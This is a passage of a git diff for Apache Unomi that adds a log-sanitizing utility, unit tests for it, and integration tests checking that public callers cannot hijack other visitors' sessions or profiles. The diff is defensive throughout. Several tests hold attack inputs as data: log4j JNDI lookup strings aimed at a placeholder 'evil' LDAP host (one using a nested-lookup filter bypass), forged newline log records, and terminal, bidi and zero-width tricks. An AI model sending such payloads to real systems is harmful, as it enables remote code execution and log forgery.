diff --git a/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java new file mode 100644 index 0000000000..6d7b237bb7 --- /dev/null +++ b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java @@ -0,0 +1,83 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.api.utils; + +/** + * Sanitizes untrusted, request-derived values before they are written to a log. + *
+ * Anything that arrives over the network is untrusted, so writing it verbatim into a log + * makes the log itself a surface worth defending: an embedded newline lets an untrusted caller inject + * log records (making real activity look like routine traffic, or implicating someone else), control characters + * can corrupt terminals and log shippers, and an unbounded value can flood the log. Security + * warnings are the worst place for this, because those are exactly the lines shipped to a SIEM and + * trusted during incident response. + *
+ * Values that never leave the server — enum names, role sets, hashes, rule configuration authored by + * an administrator — do not need this. Use it for request bodies, headers, cookies, query and path + * parameters, uploaded filenames, and event properties. + */ +public final class LogSanitizer { + + /** Long enough to identify a value, short enough that it cannot flood the log. */ + private static final int MAX_LENGTH = 200; + + private LogSanitizer() { + } + + /** + * Replaces every character that is not printable ASCII, and every log-format marker + * ({@code \ { } % $}), with an underscore, then truncates. This removes the newlines and control + * characters used for log injection, and neutralises markers that a downstream log formatter + * might otherwise interpret. + * + * @param input the untrusted value, may be {@code null} + * @return a value that is always safe to place in a log message; {@code "null"} when input was null + */ + public static String forLogging(String input) { + return forLogging(input, MAX_LENGTH); + } + + /** + * As {@link #forLogging(String)}, but with a caller-chosen length limit for contexts that need + * more room (a request URL, an exception message) than the default. + * + * @param input the untrusted value, may be {@code null} + * @param maxLength the length beyond which the value is truncated + * @return a value that is always safe to place in a log message; {@code "null"} when input was null + */ + public static String forLogging(String input, int maxLength) { + if (input == null) { + return "null"; + } + // Clamped: a negative limit would make substring throw, from inside a helper whose whole + // contract is that it is always safe to call in a log statement. No caller passes one today, + // but a computed limit (a remaining-budget calculation, say) would be an easy way to turn a + // security-refusal log line into an uncaught exception. + int limit = Math.max(0, maxLength); + String value = input.length() > limit ? input.substring(0, limit) + "...[truncated]" : input; + StringBuilder sanitized = new StringBuilder(value.length()); + for (int i = 0; i < value.length(); i++) { + char c = value.charAt(i); + if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && c != '%' && c != '$') { + sanitized.append(c); + } else { + sanitized.append('_'); + } + } + return sanitized.toString(); + } +} diff --git a/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java new file mode 100644 index 0000000000..338ab062be --- /dev/null +++ b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java @@ -0,0 +1,229 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.api.utils; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +/** + * The values this guards are untrusted by definition — uploaded filenames, event property + * names, cookies, session ids — so these are the cases an untrusted caller would actually try. + */ +public class LogSanitizerTest { + + /** + * The core defence: a newline would let an untrusted caller close the current log record and write their + * own, injecting an entry that an operator or SIEM would read as genuine. + */ + @Test + public void newlinesCannotInjectALogRecord() { + String injected = "innocent.groovy\n2026-08-08 12:00:00 WARN AUDIT groovy-action save: action=already-approved"; + + String sanitized = LogSanitizer.forLogging(injected); + + assertFalse("a newline must not survive into the log", sanitized.contains("\n")); + assertFalse("a carriage return must not survive into the log", sanitized.contains("\r")); + assertTrue("the original text should still be recognisable", sanitized.startsWith("innocent.groovy_")); + } + + @Test + public void controlCharactersAreReplaced() { + // ESC is what makes an ANSI sequence act on a terminal; the "[2J" after it is ordinary + // printable text, which is why only the ESC itself needs replacing. + String sanitized = LogSanitizer.forLogging("a\u001b[2Jb\tc\u0000d"); + + assertFalse("ESC must not survive", sanitized.indexOf(0x1b) >= 0); + assertFalse("TAB must not survive", sanitized.contains("\t")); + assertFalse("NUL must not survive", sanitized.indexOf(0) >= 0); + assertEquals("a_[2Jb_c_d", sanitized); + } + + /** {@code {} $ %} are formatter markers; a downstream pattern layout must not act on them. */ + @Test + public void logFormatMarkersAreNeutralised() { + String sanitized = LogSanitizer.forLogging("${jndi:ldap://evil/x} {} %n"); + + assertFalse(sanitized.contains("$")); + assertFalse(sanitized.contains("{")); + assertFalse(sanitized.contains("}")); + assertFalse(sanitized.contains("%")); + } + + @Test + public void oversizedValuesAreTruncatedSoTheyCannotFloodTheLog() { + String sanitized = LogSanitizer.forLogging("a".repeat(5000)); + + assertTrue(sanitized.endsWith("...[truncated]")); + assertTrue("truncated output must stay bounded", sanitized.length() < 300); + } + + @Test + public void callerSuppliedLimitIsHonoured() { + assertEquals("abc...[truncated]", LogSanitizer.forLogging("abcdef", 3)); + } + + @Test + public void ordinaryValuesArePassedThroughUnchanged() { + assertEquals("myAction", LogSanitizer.forLogging("myAction")); + assertEquals("a1b2c3d4-e5f6-7890-abcd-ef1234567890", + LogSanitizer.forLogging("a1b2c3d4-e5f6-7890-abcd-ef1234567890")); + } + + /** Distinguishable from an empty value, so an audit record never silently loses a field. */ + @Test + public void nullBecomesAnExplicitMarker() { + assertEquals("null", LogSanitizer.forLogging(null)); + } + + // --------------------------------------------------------------------------------------- + // Inputs that a naive implementation of this filter would let through. Each is here because + // some plausible shortcut - matching a literal name, checking isISOControl - misses it. + // --------------------------------------------------------------------------------------- + + /** + * The classic bypass of a {@code Character.isISOControl} check: U+2028 and U+2029 are Unicode + * line terminators but are not ISO controls, so a validator written against that + * predicate lets them through while JSON log pipelines and JS-based log viewers still break the + * line on them. An allowlist of printable ASCII is immune; a denylist of control characters is not. + */ + @Test + public void unicodeLineTerminatorsThatAreNotIsoControlsAreStillRemoved() { + assertFalse(Character.isISOControl('\u2028')); + assertFalse(Character.isISOControl('\u2029')); + + String sanitized = LogSanitizer.forLogging("a\u2028injected\u2029line\u0085nel"); + + assertEquals("a_injected_line_nel", sanitized); + } + + /** + * A log4j lookup can be assembled from nested lookups, so matching on a literal name such as + * {@code jndi} is not a sound filter. This sanitizer instead removes the {@code $} and braces + * that make a lookup a lookup, which covers the whole family rather than the spellings someone + * thought to enumerate. + */ + @Test + public void nestedLookupSyntaxIsNeutralised() { + String sanitized = LogSanitizer.forLogging("${${lower:j}${lower:n}di:ldap://evil/a}"); + + assertFalse(sanitized.contains("$")); + assertFalse(sanitized.contains("{")); + assertFalse(sanitized.contains("}")); + assertTrue("the text should survive in inert form", sanitized.contains("ldap://evil/a")); + } + + /** + * A lone high surrogate at the truncation boundary. Cutting a string with {@code substring} can + * split a surrogate pair and leave an unpaired half, which some appenders and JSON encoders + * reject or mangle. Filtering after truncation means the orphan is replaced like any other + * non-ASCII char, so the result is always well-formed. + */ + @Test + public void truncationCannotLeaveAnUnpairedSurrogate() { + String emoji = "\uD83D\uDE00"; // U+1F600, a surrogate pair + StringBuilder payload = new StringBuilder(); + for (int i = 0; i < 199; i++) { + payload.append('a'); + } + payload.append(emoji); + + String sanitized = LogSanitizer.forLogging(payload.toString()); + + for (int i = 0; i < sanitized.length(); i++) { + assertFalse("no unpaired surrogate may survive", Character.isSurrogate(sanitized.charAt(i))); + } + } + + /** + * Terminal control: BS overwrites already-printed characters and ESC]0; retitles the window, so + * an untrusted caller can make a log line read as something else entirely in a live terminal. + */ + @Test + public void terminalRewritingSequencesAreRemoved() { + String sanitized = LogSanitizer.forLogging("denied\b\b\b\b\b\b\u001b]0;granted\u0007"); + + assertFalse(sanitized.contains("\b")); + assertFalse("BEL must not survive", sanitized.indexOf(7) >= 0); + assertTrue(sanitized.startsWith("denied")); + } + + /** + * Right-to-left override reverses the display order of everything after it, so a log entry can + * be made to read backwards — {@code deined} for {@code denied} — without changing the bytes a + * grep would match. + */ + @Test + public void bidiOverrideCannotReorderTheDisplayedLine() { + String sanitized = LogSanitizer.forLogging("action=\u202egnitirw\u202c"); + + assertFalse(sanitized.contains("\u202e")); + assertFalse(sanitized.contains("\u202c")); + } + + /** Zero-width characters split a token so an exact-match SIEM rule no longer fires on it. */ + @Test + public void zeroWidthCharactersCannotHideATokenFromSearch() { + String sanitized = LogSanitizer.forLogging("ad\u200bmin\ufeff"); + + assertFalse(sanitized.contains("\u200b")); + assertFalse(sanitized.contains("\ufeff")); + assertEquals("ad_min_", sanitized); + } + + /** + * A payload placed beyond the truncation point must not come back: truncation happens first, so + * anything past the limit is gone before it can be interpreted. + */ + @Test + public void payloadHiddenBeyondTheTruncationPointIsDropped() { + String sanitized = LogSanitizer.forLogging("a".repeat(400) + "\nWARN injected-record"); + + assertFalse(sanitized.contains("injected-record")); + assertFalse(sanitized.contains("\n")); + } + + /** + * An escaped newline: if any downstream formatter or JSON decoder unescapes the value, a + * surviving backslash would become a real newline. Filtering the backslash removes that + * second-order path. + */ + @Test + public void escapedNewlineCannotBeRevivedDownstream() { + String sanitized = LogSanitizer.forLogging("a\\nb\\u000ac"); + + assertFalse("no backslash may survive to be unescaped later", sanitized.contains("\\")); + } + + /** Sanitizing twice must equal sanitizing once, or nested logging would corrupt the value. */ + @Test + public void sanitizationIsIdempotent() { + String once = LogSanitizer.forLogging("a\nb\u2028c${x}\uD83D\uDE00"); + + assertEquals(once, LogSanitizer.forLogging(once)); + } + + /** A negative limit must not throw: this helper is called from inside log statements. */ + @Test + public void negativeLimitIsClampedRatherThanThrowing() { + assertEquals("...[truncated]", LogSanitizer.forLogging("abcdef", -1)); + assertEquals("...[truncated]", LogSanitizer.forLogging("abcdef", 0)); + } + +} diff --git a/itests/src/test/java/org/apache/unomi/itests/AllITs.java b/itests/src/test/java/org/apache/unomi/itests/AllITs.java index 41351e5b02..446c4b559e 100644 --- a/itests/src/test/java/org/apache/unomi/itests/AllITs.java +++ b/itests/src/test/java/org/apache/unomi/itests/AllITs.java @@ -56,6 +56,7 @@ ModifyConsentIT.class, PatchIT.class, ContextServletIT.class, + ContextEndpointBaselineIT.class, SecurityIT.class, RuleServiceIT.class, PrivacyServiceIT.class, diff --git a/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java b/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java new file mode 100644 index 0000000000..e8c9171099 --- /dev/null +++ b/itests/src/test/java/org/apache/unomi/itests/ContextEndpointBaselineIT.java @@ -0,0 +1,451 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.itests; + +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.entity.ContentType; +import org.apache.http.entity.StringEntity; +import org.apache.http.util.EntityUtils; +import org.apache.unomi.api.ContextRequest; +import org.apache.unomi.api.Event; +import org.apache.unomi.api.EventsCollectorRequest; +import org.apache.unomi.api.CustomItem; +import org.apache.unomi.api.Profile; +import org.apache.unomi.itests.tools.httpclient.HttpClientThatWaitsForUnomi; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.ops4j.pax.exam.junit.PaxExam; +import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy; +import org.ops4j.pax.exam.spi.reactors.PerSuite; + +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.util.Collections; +import java.util.Objects; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; + +/** + * Before/after behavioural baseline for the two public client endpoints, {@code /cxs/context.json} + * (plus its {@code /cxs/context.js} sibling) and {@code /cxs/eventcollector}. + *
+ * This class is deliberately written to compile and run against both the pre-hardening + * baseline and the hardened branch, so the same suite can be executed on each and the results + * diffed. It is split into two groups with opposite expectations: + *
+ * The probe request carries ONLY the body profileId - no cookie and no session - because that is + * what makes this discriminating. An earlier version of this test also sent a session owned by the + * caller, and on the pre-hardening baseline the session-recovery logic switched the profile back + * to the session owner, masking the body profileId entirely and making the test pass on both + * sides. Asserting on the other's actual data rather than on an echoed id keeps it honest. + */ + @Test + public void hardened_publicBodyProfileIdIsIgnored() throws Exception { + String otherProfileId = "baseline-other-" + System.currentTimeMillis(); + String otherSecret = "baseline-secret-" + System.currentTimeMillis(); + Profile other = new Profile(otherProfileId); + other.setProperty("baselineSecret", otherSecret); + profileService.save(other); + keepTrying("Other profile should be saved", () -> profileService.load(otherProfileId), + Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + try { + ContextRequest claim = new ContextRequest(); + claim.setProfileId(otherProfileId); + claim.setRequiredProfileProperties(Collections.singletonList("*")); + CustomItem source = new CustomItem("baseline-page", "page"); + source.setScope(TEST_SCOPE); + claim.setSource(source); + + HttpPost post = new HttpPost(getFullUrl(CONTEXT_JSON_URL)); + post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(claim), ContentType.APPLICATION_JSON)); + + // Plain client, not HttpClientThatWaitsForUnomi: the hardened branch answers 400 here + // (nothing left to bind once the body profileId is ignored), and that helper retries + // non-2xx and then throws, which would mask the very behaviour under test. + try (CloseableHttpResponse response = httpClient.execute(post)) { + String body = response.getEntity() == null ? "" : EntityUtils.toString(response.getEntity()); + assertFalse("a public caller must not receive the other's profile properties, got: " + + body.substring(0, Math.min(300, body.length())), + body.contains(otherSecret)); + assertFalse("a public caller must not be bound to the other's profile id", + body.contains(otherProfileId)); + } + } finally { + profileService.delete(otherProfileId, false); + } + } + + /** + * A public caller must not be able to adopt a session belonging to someone else. + *
+ * Three things have to hold, not just the first: the caller must not end up on the other's + * profile, the refused id must not be echoed back (or the client keeps replaying it), and the + * other visitor must still hold the session afterwards - refusing by handing the session to the + * caller anyway would satisfy the first assertion alone. + */ + @Test + public void hardened_publicCallerCannotAdoptAForeignSession() throws Exception { + String otherSessionId = "baseline-other-sess-" + System.currentTimeMillis(); + TestUtils.RequestResponse other = postContextJson(newContextRequest(otherSessionId), null, otherSessionId); + String otherProfileId = other.getContextResponse().getProfileId(); + + String publicCallerSessionId = "baseline-public-sess-" + System.currentTimeMillis(); + TestUtils.RequestResponse publicCaller = postContextJson(newContextRequest(publicCallerSessionId), null, publicCallerSessionId); + + // Untrusted caller presents the other's session id with its own cookie. + TestUtils.RequestResponse attempt = postContextJson(newContextRequest(otherSessionId), + publicCaller.getCookieHeaderValue(), otherSessionId); + + assertEquals(200, attempt.getStatusCode()); + assertTrue("the untrusted caller must not end up on the other's profile", + !otherProfileId.equals(attempt.getContextResponse().getProfileId())); + assertNull("a refused session id must not be echoed back to the caller", + attempt.getContextResponse().getSessionId()); + + // The rightful owner comes back: the session must still be theirs and still be accepted. + TestUtils.RequestResponse ownerAgain = postContextJson(newContextRequest(otherSessionId), + other.getCookieHeaderValue(), otherSessionId); + assertEquals("the rightful owner must keep its profile", otherProfileId, + ownerAgain.getContextResponse().getProfileId()); + assertEquals("and must not have lost the session to the caller that was refused", + otherSessionId, ownerAgain.getContextResponse().getSessionId()); + } + + /** + * The same takeover, aimed at an anonymous session. + *
+ * An anonymous session records no owner at all - {@code PrivacyService#getAnonymousProfile} + * returns a profile with no id, so the session's profileId is null - which left the ownership + * rule with nothing to compare the cookie against. Presenting the id was therefore enough to have + * the session rebound to the presenter's own profile and saved. The session must stay anonymous. + *
+ * The check is made through the rightful owner's next request rather than by reading the session + * back: if the takeover had happened the session would now carry a real, foreign profile, and the + * owner would be refused by the ownership rule that covers named sessions. + */ + @Test + public void hardened_publicCallerCannotTakeOverAnAnonymousSession() throws Exception { + String victimSessionId = "baseline-anon-sess-" + System.currentTimeMillis(); + TestUtils.RequestResponse victim = postContextJson(newContextRequest(victimSessionId), null, victimSessionId); + String victimProfileId = victim.getContextResponse().getProfileId(); + + try { + // The visitor asks for anonymous browsing, then makes one request so the session picks the + // anonymous profile up. + privacyService.setRequireAnonymousBrowsing(victimProfileId, true, TEST_SCOPE); + keepTrying("Profile should require anonymous browsing", + () -> privacyService.isRequireAnonymousBrowsing(victimProfileId), + Boolean.TRUE::equals, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + postContextJson(newContextRequest(victimSessionId), victim.getCookieHeaderValue(), victimSessionId); + keepTrying("Session should have become anonymous", + () -> profileService.loadSession(victimSessionId), + session -> session != null && session.getProfileId() == null, + DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + // Someone else presents that session id with their own cookie. + String attackerSessionId = "baseline-anon-attacker-" + System.currentTimeMillis(); + TestUtils.RequestResponse attacker = postContextJson(newContextRequest(attackerSessionId), null, attackerSessionId); + String attackerProfileId = attacker.getContextResponse().getProfileId(); + postContextJson(newContextRequest(victimSessionId), attacker.getCookieHeaderValue(), victimSessionId); + + keepTrying("The anonymous session must not be reassigned to the caller", + () -> profileService.loadSession(victimSessionId), + session -> session != null && !attackerProfileId.equals(session.getProfileId()), + DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + // And the rightful owner is still served by it. + TestUtils.RequestResponse ownerAgain = postContextJson(newContextRequest(victimSessionId), + victim.getCookieHeaderValue(), victimSessionId); + assertEquals("the anonymous visitor must keep its own profile", victimProfileId, + ownerAgain.getContextResponse().getProfileId()); + assertEquals("and must keep its session", victimSessionId, + ownerAgain.getContextResponse().getSessionId()); + } finally { + privacyService.setRequireAnonymousBrowsing(victimProfileId, false, TEST_SCOPE); + } + } + + /** + * The same body-profileId claim, aimed at {@code /eventcollector}. + *
+ * Both endpoints share {@code initEventsRequest}, so this passes today - which is exactly why it + * is worth pinning. The collector reads its {@code sessionId}/{@code profileId} from a different + * request model and even falls back to a query parameter, so a change on that side could route + * around the binding rule without any context.json test noticing. + *
+ * The collector's response body carries no profile id, so the assertion is on the profile cookie + * the request is answered with: that is the profile the server decided the caller is. + */ + @Test + public void hardened_eventCollectorIgnoresPublicBodyProfileId() throws Exception { + String otherProfileId = "baseline-ec-other-" + System.currentTimeMillis(); + Profile other = new Profile(otherProfileId); + profileService.save(other); + keepTrying("Other profile should be saved", () -> profileService.load(otherProfileId), + Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES); + + try { + String sessionId = "baseline-ec-claim-" + System.currentTimeMillis(); + EventsCollectorRequest claim = newEventsRequest(sessionId); + claim.setProfileId(otherProfileId); + + HttpPost post = new HttpPost(getFullUrl(EVENT_COLLECTOR_URL)); + post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(claim), ContentType.APPLICATION_JSON)); + + try (CloseableHttpResponse response = httpClient.execute(post)) { + String setCookie = response.getFirstHeader("Set-Cookie") == null + ? "" : response.getFirstHeader("Set-Cookie").getValue(); + assertFalse("the eventcollector must not bind a public caller to a body profileId, got: " + setCookie, + setCookie.contains(otherProfileId)); + } + } finally { + profileService.delete(otherProfileId, false); + } + } + + /** And the session half of the same rule, again through {@code /eventcollector}. */ + @Test + public void hardened_eventCollectorCannotAdoptAForeignSession() throws Exception { + String otherSessionId = "baseline-ec-sess-" + System.currentTimeMillis(); + TestUtils.RequestResponse other = postContextJson(newContextRequest(otherSessionId), null, otherSessionId); + String otherProfileId = other.getContextResponse().getProfileId(); + + String callerSessionId = "baseline-ec-caller-" + System.currentTimeMillis(); + TestUtils.RequestResponse caller = postContextJson(newContextRequest(callerSessionId), null, callerSessionId); + + HttpPost post = new HttpPost(getFullUrl(EVENT_COLLECTOR_URL)); + post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + post.addHeader("Cookie", caller.getCookieHeaderValue()); + post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(newEventsRequest(otherSessionId)), + ContentType.APPLICATION_JSON)); + + try (CloseableHttpResponse response = httpClient.execute(post)) { + String setCookie = response.getFirstHeader("Set-Cookie") == null + ? "" : response.getFirstHeader("Set-Cookie").getValue(); + assertFalse("presenting a foreign session id must not move the caller onto its owner's profile, got: " + + setCookie, setCookie.contains(otherProfileId)); + } + + // The owner still has the session. + TestUtils.RequestResponse ownerAgain = postContextJson(newContextRequest(otherSessionId), + other.getCookieHeaderValue(), otherSessionId); + assertEquals("the rightful owner must keep its profile", otherProfileId, + ownerAgain.getContextResponse().getProfileId()); + assertEquals("and its session", otherSessionId, ownerAgain.getContextResponse().getSessionId()); + } + + /** + * The profile cookie must actually be issued {@code HttpOnly} by a running server. + *
+ * The shipped defaults are checked separately as configuration text; this asserts the value that + * survives the whole path from that default through {@code WebConfig} and + * {@code ConfigSharingService} into the {@code Set-Cookie} header. Binding a public caller to the + * profile its cookie names only means anything while page script cannot read that cookie, so the + * flag is part of the security model rather than a preference. + */ + @Test + public void hardened_profileCookieIsHttpOnly() throws Exception { + String sessionId = "baseline-httponly-" + System.currentTimeMillis(); + TestUtils.RequestResponse response = postContextJson(newContextRequest(sessionId), null, sessionId); + + String setCookie = response.getCookieHeaderValue(); + assertNotNull("a first visit must be issued the profile cookie", setCookie); + assertTrue("the profile cookie must be HttpOnly, got: " + setCookie, + setCookie.toLowerCase().contains("httponly")); + } + + // ------------------------------------------------------------------ helpers + + private ContextRequest newContextRequest(String sessionId) { + ContextRequest contextRequest = new ContextRequest(); + contextRequest.setSessionId(sessionId); + CustomItem source = new CustomItem("baseline-page", "page"); + source.setScope(TEST_SCOPE); + contextRequest.setSource(source); + return contextRequest; + } + + private EventsCollectorRequest newEventsRequest(String sessionId) { + Event event = new Event(); + event.setEventType("view"); + event.setScope(TEST_SCOPE); + EventsCollectorRequest eventsRequest = new EventsCollectorRequest(); + eventsRequest.setSessionId(sessionId); + eventsRequest.setEvents(Collections.singletonList(event)); + return eventsRequest; + } + + private TestUtils.RequestResponse postContextJson(ContextRequest contextRequest, String cookie, String sessionId) + throws Exception { + HttpPost post = new HttpPost(getFullUrl(CONTEXT_JSON_URL)); + post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue); + if (cookie != null) { + post.addHeader("Cookie", cookie); + } + post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON)); + return TestUtils.executeContextJSONRequest(post, sessionId, getObjectMapper()); + } + + private String encode(Object payload) throws Exception { + return URLEncoder.encode(getObjectMapper().writeValueAsString(payload), StandardCharsets.UTF_8.name()); + } +} diff --git a/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java b/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java index e714ac218d..36ce3393db 100644 --- a/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java +++ b/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java @@ -11,7 +11,7 @@ * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language gtestCreateEventWithPropertiesValidation_Successoverning permissions and + * See the License for the specific language governing permissions and * limitations under the License */ @@ -34,6 +34,8 @@ import org.apache.http.client.config.RequestConfig; import org.apache.unomi.api.*; import org.apache.unomi.api.conditions.Condition; +import org.apache.unomi.api.conditions.ConditionType; +import org.apache.unomi.api.rules.Rule; import org.apache.unomi.api.segments.Scoring; import org.apache.unomi.api.segments.Segment; import org.apache.unomi.api.tenants.ApiKey; @@ -48,6 +50,8 @@ import org.ops4j.pax.exam.junit.PaxExam; import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy; import org.ops4j.pax.exam.spi.reactors.PerSuite; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import java.io.File; import java.net.URI; @@ -66,6 +70,8 @@ @RunWith(PaxExam.class) @ExamReactorStrategy(PerSuite.class) public class ContextServletIT extends BaseIT { + private final static Logger LOGGER = LoggerFactory.getLogger(ContextServletIT.class); + private final static String CONTEXT_URL = "/cxs/context.json"; private final static String UNOMI_API_KEY_HTTP_HEADER_KEY = "X-Unomi-Api-Key"; @@ -123,6 +129,22 @@ public void setUp() throws InterruptedException { @After public void tearDown() throws InterruptedException { + // The login-merge tests register this rule and remove it on their happy path, but an + // assertion failing earlier would leave it behind. The suite shares one Karaf container + // (PerSuite), so a stray rule reacting to every login event would leak into later tests. + // + // Guarded: if this threw, it would abort tearDown before the event/session cleanup below, + // silently polluting the shared container for every later test with a failure that looks + // unrelated. A rule that cannot be removed is worth reporting, not worth losing the rest + // of the cleanup over. + try { + if (rulesService.getRule("testLogin") != null) { + rulesService.removeRule("testLogin"); + } + } catch (RuntimeException e) { + LOGGER.warn("Could not remove the testLogin rule during tearDown; later tests in this " + + "suite may see it", e); + } persistenceService.refresh(); TestUtils.removeAllEvents(definitionsService, persistenceService, true, tenantService, executionContextManager); TestUtils.removeAllSessions(definitionsService, persistenceService, true, tenantService, executionContextManager); @@ -419,6 +441,324 @@ public void testCreateEventWithTimestampParam_futureEvent_profileIsNotAddedToSeg DEFAULT_SHOULDBETRUE_TRIES); } + @Test + public void testPublicCaller_mismatchedBodyProfileId_ignored() throws Exception { + String sessionId = "mismatch-session-" + System.currentTimeMillis(); + + ContextRequest firstRequest = new ContextRequest(); + firstRequest.setSessionId(sessionId); + HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(establish); + establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(firstRequest), ContentType.APPLICATION_JSON)); + RequestResponse established = executeContextJSONRequest(establish, sessionId); + assertEquals(200, established.getStatusCode()); + String cookieProfileId = established.getContextResponse().getProfileId(); + assertNotNull(cookieProfileId); + assertNotNull(established.getCookieHeaderValue()); + + String publicCallerProfileId = "public-body-profile-" + System.currentTimeMillis(); + ContextRequest mismatchRequest = new ContextRequest(); + mismatchRequest.setSessionId(sessionId); + mismatchRequest.setProfileId(publicCallerProfileId); + HttpPost mismatch = new HttpPost(getFullUrl(CONTEXT_URL)); + addPublicTenantAuth(mismatch); + mismatch.addHeader("Cookie", established.getCookieHeaderValue()); + mismatch.setEntity(new StringEntity(getObjectMapper().writeValueAsString(mismatchRequest), ContentType.APPLICATION_JSON)); + RequestResponse mismatched = executeContextJSONRequest(mismatch, sessionId); + + assertEquals(200, mismatched.getStatusCode()); + assertEquals("Public caller must keep cookie profile when body profileId differs", + cookieProfileId, mismatched.getContextResponse().getProfileId()); + assertNull("Untrusted caller-supplied profileId must not be created", profileService.load(publicCallerProfileId)); + } + + /** + * End-to-end guard for anonymous browsing: a visitor who is legitimately browsing anonymously must + * never have their own session detached. That failure would be invisible at unit level in the + * endpoint wiring, hence this IT — it asserts the visitor's own session id is still echoed back, + * since a refused session is suppressed from the response. + *
+ * The de-anonymising step at the end is the one place where the session-ownership rule cannot be
+ * applied: an anonymous session records no owner, so nothing can be matched against the cookie.
+ * A public caller therefore keeps an anonymous session instead of having it bound back to a named
+ * profile. What must hold either way is that the visitor is still served and still holds the
+ * session; being refused here would strand every visitor who turns anonymity off.
+ */
+ @Test
+ public void testAnonymousBrowsing_visitorKeepsItsOwnSession() throws Exception {
+ String sessionId = "anon-browsing-session-" + System.currentTimeMillis();
+
+ ContextRequest firstRequest = new ContextRequest();
+ firstRequest.setSessionId(sessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(firstRequest), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, sessionId);
+ assertEquals(200, established.getStatusCode());
+ String profileId = established.getContextResponse().getProfileId();
+ assertNotNull(profileId);
+ assertNotNull(established.getCookieHeaderValue());
+
+ // Turn on anonymous browsing for this visitor, exactly as the privacy endpoint would.
+ privacyService.setRequireAnonymousBrowsing(profileId, true, TEST_SCOPE);
+ keepTrying("Anonymous browsing should be enabled for the profile",
+ () -> privacyService.isRequireAnonymousBrowsing(profileId),
+ Boolean.TRUE::equals, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ try {
+ // Same visitor, same cookie, same session: must still be served, and the session kept.
+ ContextRequest secondRequest = new ContextRequest();
+ secondRequest.setSessionId(sessionId);
+ HttpPost anonymous = new HttpPost(getFullUrl(CONTEXT_URL));
